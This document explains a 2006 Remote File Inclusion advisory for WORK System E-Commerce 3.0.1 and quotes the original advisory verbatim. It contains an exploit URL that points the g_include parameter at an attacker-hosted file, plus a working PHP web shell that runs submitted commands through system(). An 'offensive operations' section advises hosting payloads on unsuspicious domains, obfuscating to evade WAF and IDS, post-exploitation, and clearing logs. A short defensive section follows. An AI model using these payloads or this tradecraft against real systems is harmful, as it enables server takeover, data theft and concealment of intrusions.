Understanding Remote File Inclusion in WORK System E-Commerce 3.0.1

What this paper is

This paper describes a security vulnerability in an older version of the WORK System E-Commerce software (version 3.0.1 and earlier). The vulnerability is a "Remote File Inclusion" (RFI) flaw, which is a serious security risk. It allows an attacker to trick the web application into including and executing code from a remote server.

Simple technical breakdown

The vulnerability exists because the web application uses a variable, $g_include, to specify which files to load. This variable can be controlled by the user through a web request. When the application uses include($g_include . "<file>.inc"), if $g_include is set to a URL pointing to a malicious script on an attacker's server, the application will download and execute that script instead of a legitimate local file.

Complete code and payload walkthrough

The paper highlights a specific vulnerable code pattern:

include ($g_include."<file>.inc");

Let's break this down:

• include(): This is a PHP function that takes a string argument representing a file path. It then includes and evaluates the specified file at that point in the script. If the file is not found, a warning is generated, but the script continues. If the file is found, its content is executed as PHP code.
• $g_include: This is a PHP variable. The paper states that this variable can be "altered remotely." This means an attacker can manipulate its value by sending specific parameters in a web request.
• "<file>.inc": This is a literal string that is appended to the value of $g_include. It suggests that the application expects to include files ending with .inc.

Mapping of code fragment to practical purpose:

• include ($g_include."<file>.inc"); -> This line is the core of the vulnerability. It dynamically includes a file whose path is constructed by concatenating user-controlled input ($g_include) with a fixed string ("<file>.inc").

Payload Explanation:

The paper provides proof-of-concept URLs, which demonstrate how an attacker would exploit this:

• http://[host]/work/index.php?g_include=[shell_script]
• http://[host]/work/module/forum/forum.php?g_include=[shell_script]

In these examples:

• [host]: Represents the target web server.
• /work/index.php or /work/module/forum/forum.php: These are the vulnerable PHP files that contain the include() statement.
• ?g_include=: This is the GET parameter used to pass data to the vulnerable script. The value provided after g_include= will be assigned to the $g_include variable.
• [shell_script]: This is the crucial part. Instead of a local file path, an attacker would provide a URL pointing to a script they control on a remote server. This script would typically be a PHP web shell.

How it works:

1. The attacker crafts a URL like: http://target.com/work/index.php?g_include=http://attacker.com/malicious.txt?
2. The index.php script receives the request.
3. The g_include parameter's value (http://attacker.com/malicious.txt?) is assigned to the $g_include variable.
4. The vulnerable line becomes: include("http://attacker.com/malicious.txt?");
5. PHP's include() function, when given a URL, will attempt to fetch the content from that URL.
6. If malicious.txt on attacker.com contains valid PHP code (e.g., a web shell), PHP will execute it on the target.com server.

Shellcode/Payload Segment Explanation:

The paper doesn't provide explicit shellcode bytes. Instead, it implies the use of a "shell_script" which, in the context of PHP RFI, would be a remote PHP file containing a web shell. A common example of such a remote PHP web shell might look like this (this is illustrative, not from the paper):

<?php
// attacker.com/shell.php
echo "<h1>System Access Granted</h1>";
echo "<form method='post' action=''>";
echo "<input type='text' name='cmd' autofocus>";
echo "<input type='submit' value='Execute'>";
echo "</form>";
if(isset($_POST['cmd'])) {
    system($_POST['cmd']);
}
?>

When this script is included and executed by the vulnerable WORK System E-Commerce application, it would render a form on the victim's browser, allowing the attacker to input commands to be executed on the server.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server is sufficient. No local access or authentication is required for this specific vulnerability.
• Lab Preconditions:
  • A target environment running WORK System E-Commerce <= 3.0.1.
  • A controlled attacker server accessible from the target environment, capable of hosting a PHP web shell.
  • A basic PHP web shell script ready to be deployed on the attacker server.
• Tooling Assumptions:
  • A web browser for crafting and sending requests.
  • A text editor for preparing the remote PHP shell.
  • A simple HTTP server (like Python's SimpleHTTPServer or apache2) on the attacker machine to host the shell.
  • Potentially, a vulnerability scanner to identify the presence of the vulnerable software version.
• Execution Pitfalls:
  • Firewall/Network Restrictions: The target server might not be able to reach the attacker's server due to outbound firewall rules.
  • PHP Configuration (allow_url_fopen, allow_url_include): The target server's PHP configuration must have allow_url_fopen enabled for include() to fetch remote URLs. allow_url_include must also be enabled for include() to execute remote PHP files. If allow_url_include is disabled, the attacker might still be able to include and display the content of remote files, but not execute them as PHP.
  • Input Sanitization/Filtering: While the paper suggests direct inclusion, some web application firewalls (WAFs) or custom code might filter out URLs in the g_include parameter.
  • File Extension Mismatch: If the application strictly checks for .inc extensions and the remote file doesn't have it, the include might fail or not execute as expected. However, the proof-of-concept suggests the trailing ? might help bypass simple checks or that the .inc is appended after the URL.
  • Obfuscation: Attackers might need to obfuscate their remote payload to bypass IDS/IPS or WAFs.
• Tradecraft Considerations:
  • Reconnaissance: Confirm the target application and version. Look for common web application paths (/work/).
  • Payload Hosting: Ensure the remote PHP shell is hosted on a reliable and accessible server. Consider using a domain that doesn't immediately raise suspicion.
  • Execution: Test the exploit with a simple echo statement in the remote shell first to confirm inclusion and execution before deploying a full web shell.
  • Post-Exploitation: If successful, the attacker has a web shell, allowing command execution. Further actions would depend on the attacker's objectives (privilege escalation, data exfiltration, lateral movement).
  • Covering Tracks: Standard post-exploitation techniques apply, including clearing logs.

Where this was used and when

• Context: This vulnerability was found in a web-based e-commerce system, specifically targeting its administrative or module inclusion mechanisms.
• Approximate Years/Dates: The paper was published on 2006-11-10. This means the vulnerability existed in versions of WORK System E-Commerce released before this date. Exploitation would have been most relevant in the mid-to-late 2000s. Given the age of the software and the publication date, it's unlikely to be a prevalent threat today unless a very old, unpatched instance is still in use.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input, especially when it's used in file paths, database queries, or system commands. Always validate and sanitize input rigorously.
• Avoid Dynamic File Inclusion with User-Controlled Variables: If dynamic file inclusion is necessary, use a strict allow-list of safe filenames or paths. Do not concatenate user input directly into include() or similar functions.
• Secure PHP Configuration: Ensure allow_url_fopen and allow_url_include are disabled in php.ini unless absolutely necessary for specific, controlled functionalities. Disabling these is a primary defense against RFI.
• Keep Software Updated: Regularly patch and update all web applications and their dependencies. This vulnerability is in a very old version, highlighting the importance of staying current.
• Web Application Firewalls (WAFs): While not a complete solution, WAFs can help detect and block common RFI patterns. However, attackers can often find ways to bypass them.
• Code Auditing: Regularly audit application code for insecure patterns, especially around file handling and external resource inclusion.

ASCII visual (if applicable)

+-----------------+      +-----------------------+      +-----------------------+
| Attacker Server |----->| Target Web Server     |----->| WORK System E-Commerce|
| (Hosts Shell)   |      | (e.g., Apache/Nginx)  |      | (PHP Application)     |
+-----------------+      +-----------------------+      +-----------------------+
        ^                                                      |
        | (HTTP Request with RFI URL)                          | (include() function)
        |                                                      |
        +------------------------------------------------------+
                                                               |
                                                               v
                                                     +-----------------+
                                                     | Remote File     |
                                                     | (e.g., shell.php)|
                                                     +-----------------+
                                                               |
                                                               v
                                                     +-----------------+
                                                     | Executed PHP    |
                                                     | Code (Web Shell)|
                                                     +-----------------+

This diagram illustrates the flow: the attacker's server hosts a malicious PHP file. The attacker sends a request to the target web server, which runs the WORK System E-Commerce application. The application, due to the RFI vulnerability, includes the remote file from the attacker's server and executes its code.

Source references

• Paper Title: WORK System E-Commerce 3.0.1 - Remote File Inclusion
• Author: SlimTim10
• Published: 2006-11-10
• Exploit-DB ID: 2752
• URL: https://www.exploit-db.com/papers/2752
• Product Link: http://prdownloads.sourceforge.net/worksystem/worksystem_3_0_1.zip?download (Note: This link may no longer be active)

Original Exploit-DB Content (Verbatim)

============================================================================================

WORK System E-Commerce (g_include) Remote File Inclusion Vulnerability

============================================================================================

Product............: WORK system e-commerce
Affected versions..: worksystem <= 3.0.1
Security Risk......: High
Vendor.............: Laurent Van den Reysen (http://worksystem.sourceforge.net/)
Product Link.......: http://prdownloads.sourceforge.net/worksystem/worksystem_3_0_1.zip?download
Discovered by......: SlimTim10


Details:
---------
Many files (including index.php) use the include() function with a variable that can be
altered remotely.

Vulnerable Code:
-----------------
include ($g_include."<file>.inc");

Vulnerable Files:
------------------
'index.php' (main directory) along with many files in the './administration/module' and
'./module' directories.

Proof of Concept:
------------------
http://[host]/work/index.php?g_include=[shell_script]
http://[host]/work/module/forum/forum.php?g_include=[shell_script]

Solution:
----------
No patch has been provided. The vulnerable files can be manually edited to initialize the
$g_include variable.

============================================================================================

Shoutz: Anonymous bro, Magnetosphere, dw0rek, c4p_sl0ck, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

============================================================================================

# milw0rm.com [2006-11-10]